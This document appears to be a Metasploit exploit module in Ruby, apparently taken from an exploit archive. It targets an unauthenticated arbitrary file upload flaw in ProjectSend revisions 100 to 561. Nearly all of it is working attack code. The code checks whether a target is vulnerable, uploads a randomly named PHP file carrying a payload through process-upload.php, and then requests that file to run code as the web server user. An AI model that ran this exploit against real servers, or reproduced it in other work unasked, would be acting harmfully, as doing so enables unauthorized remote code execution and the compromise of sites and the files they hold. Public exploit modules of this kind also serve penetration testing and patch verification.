ProjectSend Arbitrary File Upload

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'ProjectSend Arbitrary File Upload',  
'Description' => %q{  
This module exploits a file upload vulnerability in ProjectSend  
revisions 100 to 561. The 'process-upload.php' file allows  
unauthenticated users to upload PHP files resulting in remote  
code execution as the web server user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Fady Mohammed Osman', # Discovery and Exploit  
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit  
],  
'References' =>  
[  
['EDB', '35424']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'Arch' => ARCH_PHP,  
'Platform' => 'php',  
'Targets' =>  
[  
# Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)  
['ProjectSend (PHP Payload)', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 02 2014',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/'])  
], self.class)  
end  
  
#  
# Checks if target upload functionality is working  
#  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'process-upload.php')  
)  
if !res  
vprint_error("#{peer} - Connection timed out")  
return Exploit::CheckCode::Unknown  
elsif res.code.to_i == 404  
vprint_error("#{peer} - No process-upload.php found")  
return Exploit::CheckCode::Safe  
elsif res.code.to_i == 500  
vprint_error("#{peer} - Unable to write file")  
return Exploit::CheckCode::Safe  
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/  
vprint_error("#{peer} - File process-upload.php is not executable")  
return Exploit::CheckCode::Safe  
elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/  
vprint_error("#{peer} - Software is misconfigured")  
return Exploit::CheckCode::Safe  
elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/  
# response on revision 118 onwards includes the file name  
if res.body && res.body =~ /NewFileName/  
return Exploit::CheckCode::Vulnerable  
# response on revisions 100 to 117 does not include the file name  
elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/  
return Exploit::CheckCode::Appears  
elsif res.body && res.body =~ /Failed to open output stream/  
vprint_error("#{peer} - Upload folder is not writable")  
return Exploit::CheckCode::Safe  
else  
return Exploit::CheckCode::Detected  
end  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
#  
# Upload PHP payload  
#  
def upload  
fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"  
php = "<?php #{payload.encoded} ?>"  
data = Rex::MIME::Message.new  
data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}"))  
post_data = data.to_s  
print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
)  
if !res  
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")  
elsif res.code.to_i == 404  
fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")  
elsif res.code.to_i == 500  
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")  
elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/  
fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")  
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/  
fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")  
elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/  
fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")  
# response on revision 118 onwards includes the file name  
elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/  
print_good("#{peer} - Payload uploaded successfully (#{fname})")  
return fname  
# response on revisions 100 to 117 does not include the file name  
elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/  
print_warning("#{peer} - File upload may have failed")  
return fname  
else  
vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")  
fail_with(Failure::Unknown, "#{peer} - Something went wrong")  
end  
end  
  
#  
# Execute uploaded file  
#  
def exec(upload_path)  
print_status("#{peer} - Executing #{upload_path}...")  
res = send_request_raw(  
{ 'uri' => normalize_uri(target_uri.path, upload_path) }, 5  
)  
if !res  
print_status("#{peer} - Request timed out while executing")  
elsif res.code.to_i == 404  
vprint_error("#{peer} - Not found: #{upload_path}")  
elsif res.code.to_i == 200  
vprint_good("#{peer} - Executed #{upload_path}")  
else  
print_error("#{peer} - Unexpected reply")  
end  
end  
  
#  
# upload && execute  
#  
def exploit  
fname = upload  
register_files_for_cleanup(fname)  
exec("upload/files/#{fname}") # default for r-221 onwards  
unless session_created?  
exec("upload/temp/#{fname}") # default for r-100 to r-219  
end  
end  
end  
`